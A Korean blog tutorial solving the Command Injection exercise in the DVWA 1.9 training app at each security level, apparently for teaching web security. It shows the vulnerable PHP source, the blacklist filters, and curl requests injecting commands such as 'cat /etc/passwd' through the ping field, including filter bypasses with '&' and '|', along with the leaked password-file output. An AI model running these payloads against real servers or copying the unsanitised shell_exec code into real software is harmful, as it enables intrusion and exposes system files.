| 홈페이지 취약점 분석 이야기 | 파일 지도 사진 깨알 복사본 원본 |
|---|
|
>> 목록보이기 DVWA-1.9: 운영체제 명령어 삽입 (Command Injection)DVWA(Damn Vulnerable Web Application) 1.9 훈련장 라이브 ISO는 다음에서 다운로드 받을 수 있다. DVWA 1.9 훈련장 라이브 ISO를 구동하는 방법은 다음 문서에서 볼 수 있다.
여기서는 구동 후 DVWA 훈련장의 주소가
"Vulnerability: Command Injection" 공략: Security Level = Low
DVWA의 명령어삽입 실습장(Vulnerability: Command Injection)에서는 시스템 명령어를 다루는 데 있어서
발생할 수 있는 취약점을 배울 수 있다.
예를 들어 PHP에서 가장 널리 사용되는 시스템 명령어 실행 함수로는
root@kali:~# cat system-test.php
<?php system('uname -a') ?>
root@kali:~# php system-test.php
Linux kali 4.8.0-kali1-amd64 #1 SMP Debian 4.8.5-1kali1 (2016-11-04) x86_64 GNU/Linux
root@kali:~#
위의 PHP 예제에서는
명령어 삽입은 쉘(shell)에서 운영체제 명령어를 연이어 사용할 수 있는 특징을 이용한다.
유닉스 계열의 운영체제에서 명령어 연결 형식은 순차적 연결(
이제 DVWA 훈련장의 Vulnerability: Command Injection 실습문제를 살펴보자.
왼쪽 차림표에서
Vulnerability: Command Injection 실습문제의 홈페이지는 IP주소를 입력하여 해당 기기의
VMWare의 주인OS는 대개 1번 IP주소를 가지므로
OWASP-ZAP과 같은 스캐너가 가장 기본적으로 운영체제 명령어 취약점을 점검할 때 사용하는 문자열이
POST http://192.168.206.136/vulnerabilities/exec/ HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://192.168.206.136/vulnerabilities/exec/ Cookie: PHPSESSID=gulk7ha641o55qk52os77asr42; security=low Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 30 Host: 192.168.206.136 ip=192.168.206.1&Submit=Submit
위의 내용은 DVWA 명령어실행 실습에서 서버로 요청하는 HTTP 통신문이다.
POST로
root@kali:~# ping -h
Usage: ping [-aAbBdDfhLnOqrRUvV64] [-c count] [-i interval] [-I interface]
[-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
[-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
[-w deadline] [-W timeout] [hop1 ...] destination
Usage: ping -6 [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
[-l preload] [-m mark] [-M pmtudisc_option]
[-N nodeinfo_option] [-p pattern] [-Q tclass] [-s packetsize]
[-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline]
[-W timeout] destination
root@kali:~#
그리고 root@kali:~# curl --cookie "PHPSESSID=gulk7ha641o55qk52os77asr42; security=low" http://192.168.206.136/vulnerabilities/exec/ --data "ip=-c 2 192.168.206.1&Submit=Submit" [생략] <pre>PING 192.168.206.1 (192.168.206.1): 56 data bytes 64 bytes from 192.168.206.1: seq=0 ttl=64 time=0.835 ms 64 bytes from 192.168.206.1: seq=1 ttl=64 time=0.287 ms --- 192.168.206.1 ping statistics --- 2 packets transmitted, 2 packets received, 0% packet loss round-trip min/avg/max = 0.287/0.561/0.835 ms </pre> [생략] root@kali:~#
root@kali:~# curl --cookie "PHPSESSID=gulk7ha641o55qk52os77asr42; securi http://192.168.206.136/vulnerabilities/exec/ --data "ip=-c 2 192.168.206.1;cat /etc/passwd&Submit=Submit" [생략] <pre>PING 192.168.206.1 (192.168.206.1): 56 data bytes 64 bytes from 192.168.206.1: seq=0 ttl=64 time=0.309 ms 64 bytes from 192.168.206.1: seq=1 ttl=64 time=0.281 ms --- 192.168.206.1 ping statistics --- 2 packets transmitted, 2 packets received, 0% packet loss round-trip min/avg/max = 0.281/0.295/0.309 ms root:x:0:0:Root Administrator:/root:/bin/sh nobody:x:99:99:Unprivileged User:/dev/null:/bin/false www:x:80:80:Web Server User:/var/www:/bin/false tux:x:1000:1000:Linux User,,,:/home/tux:/bin/sh mysql:x:100:101:Linux User,,,:/home/mysql:/bin/false </pre> [생략] root@kali:~#
위의 사례는 root@kali:~# curl --cookie "PHPSESSID=gulk7ha641o55qk52os77asr42; security=low" http://192.168.206.136/vulnerabilities/exec/ --data "ip=-c 2 192.168.206.1%26cat /etc/passwd&Submit=Submit" [생략] <pre>root:x:0:0:Root Administrator:/root:/bin/sh nobody:x:99:99:Unprivileged User:/dev/null:/bin/false www:x:80:80:Web Server User:/var/www:/bin/false tux:x:1000:1000:Linux User,,,:/home/tux:/bin/sh mysql:x:100:101:Linux User,,,:/home/mysql:/bin/false PING 192.168.206.1 (192.168.206.1): 56 data bytes 64 bytes from 192.168.206.1: seq=0 ttl=64 time=0.534 ms 64 bytes from 192.168.206.1: seq=1 ttl=64 time=0.276 ms --- 192.168.206.1 ping statistics --- 2 packets transmitted, 2 packets received, 0% packet loss round-trip min/avg/max = 0.276/0.405/0.534 ms </pre> [생략] root@kali:~#
이 예에서의
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
위의 코드는 Security Level = Low에서의 PHP 소스이다.
"Vulnerability: Command Injection" 공략: Security Level = MediumSecurity Level = Medium에서의 PHP 소스코드는 다음과 같다. 방어와 관련된 부분만 발췌하였다.
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
192.168.206.1 & cat /etc/passwd "Vulnerability: Command Injection" 공략: Security Level = HighSecurity Level = High에서의 PHP 소스코드는 다음과 같다. 방어와 관련된 부분만 발췌하였다.
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
Security Level = Medium에서와는 달리 거의 모든 명령행 연결 관련 문자열을 삭제하고 있다.
그런데 PHP 코딩 과정에서 개발자가 실수한 것을 발견할 수 있다.
" 192.168.206.1|cat /etc/passwd "Vulnerability: Command Injection" 공략: Security Level = Impossible
이 보안수준에서는
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
서버스크립트 프로그래밍에서 시스템 명령어를 사용하는 것은 가능한 피하는 것이 좋다. 반드시 사용해야 하는 경우라면 사용자의 입력이 전달되는 것을 차단해야 한다. [처음 작성한 날: 2016.12.07] [마지막으로 고친 날: 2016.12.07] < 이전 글 : DVWA Brute Force 실습 설명서 (2016.12.05) > 다음 글 : DVWA CSRF (low, high level) 실습 설명서 (2016.12.08)
이 저작물은 크리에이티브
커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다. 문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문 |